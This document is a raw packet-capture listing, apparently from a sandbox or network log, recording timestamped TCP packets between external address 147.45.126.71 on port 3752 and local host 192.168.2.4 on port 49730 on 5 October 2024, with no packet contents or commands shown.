Oct 5, 2024 14:33:08.587310076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.587326050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.587340117 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.587342024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.587359905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.587376118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.587378025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.587476969 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.588100910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.588169098 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.592130899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592256069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592289925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592319012 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.592601061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592636108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592658043 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.592830896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592865944 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.592889071 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.595144987 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595201969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595204115 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.595233917 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595283031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.595356941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595438957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595473051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595488071 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.595508099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.595554113 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.595788002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603571892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603652000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.603737116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603766918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603816986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.603863001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603897095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603931904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.603946924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.603965998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604010105 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.604321003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604355097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604387999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604398966 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.604624033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604659081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604684114 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.604691982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604727983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604739904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.604763031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.604809999 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.621337891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621443987 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621476889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621515989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.621772051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621824026 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621838093 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.621860027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621895075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621908903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.621931076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.621982098 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.622426033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.622461081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.622495890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.622503042 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.622529984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.622564077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.622577906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.622598886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.622646093 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.623308897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623338938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623374939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623397112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.623428106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623460054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623481035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.623493910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623526096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623538017 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.623562098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.623608112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.624108076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633366108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633415937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633446932 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.633513927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633548021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633685112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.633753061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633788109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633802891 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.633822918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.633869886 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.634339094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645035982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645133018 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645158052 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.645169020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645220995 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.645281076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645318031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645366907 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.645555019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645589113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645623922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645637989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.645663977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645699024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.645716906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.646155119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646188974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646215916 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.646223068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646258116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646269083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.646294117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646327019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646341085 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.646368027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.646420956 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.646967888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.647002935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.647036076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.647057056 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.647069931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.647116899 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.658281088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.658447981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.658482075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.658514977 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.658658981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.658691883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.658727884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.658818007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.658818007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.659060001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659095049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659130096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659143925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.659539938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659574032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659598112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.659610033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659643888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659670115 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.659677982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.659725904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.660218000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660252094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660284042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660299063 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.660324097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660357952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660368919 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.660392046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660424948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.660439014 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.707820892 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.997594118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997688055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997745037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997780085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997792006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.997814894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997840881 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.997849941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997886896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.997957945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.998234034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998267889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998301029 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.998301029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998336077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998353004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.998370886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998404026 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998420000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.998439074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.998487949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.999172926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999202967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999234915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999252081 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.999270916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999300957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999321938 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.999334097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999368906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999389887 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.999433041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.999492884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.000089884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000125885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000159025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000174046 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.000193119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000221968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000251055 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.000255108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000291109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000303984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.000324011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000360966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.000370026 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.000413895 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.000981092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001013994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001041889 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.001049995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001096964 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.001447916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001481056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001514912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001530886 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.001548052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001580954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001596928 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.001617908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.001674891 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.002392054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002428055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002461910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002485037 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.002494097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002526999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002547026 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.002563000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002598047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002614021 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.002634048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.002681017 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.003369093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003422022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003452063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003478050 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.003484964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003519058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003537893 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.003552914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003587008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003601074 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.003621101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.003668070 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.004163980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004199028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004232883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004255056 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.004266024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004300117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004314899 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.004333973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004367113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004386902 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.004400969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.004447937 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.005105972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005140066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005173922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005193949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.005208969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005244017 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005261898 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.005279064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005311966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005326033 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.005348921 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005400896 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.005940914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.005975008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006006956 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006031036 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.006041050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006093025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006103039 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.006127119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006160975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006174088 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.006196976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006243944 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.006817102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006856918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006890059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006903887 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.006923914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006957054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.006970882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.006990910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007024050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007038116 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.007060051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007111073 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.007801056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007853031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007885933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007906914 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.007920027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007952929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.007966995 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.007987022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008021116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008033991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.008743048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008775949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008799076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.008809090 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008845091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008865118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.008877993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008910894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008924961 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.008945942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008977890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.008994102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.009588003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009624004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009644032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.009658098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009691000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.009710073 CEST	49730	3752	192.168.2.4	147.45.126.71
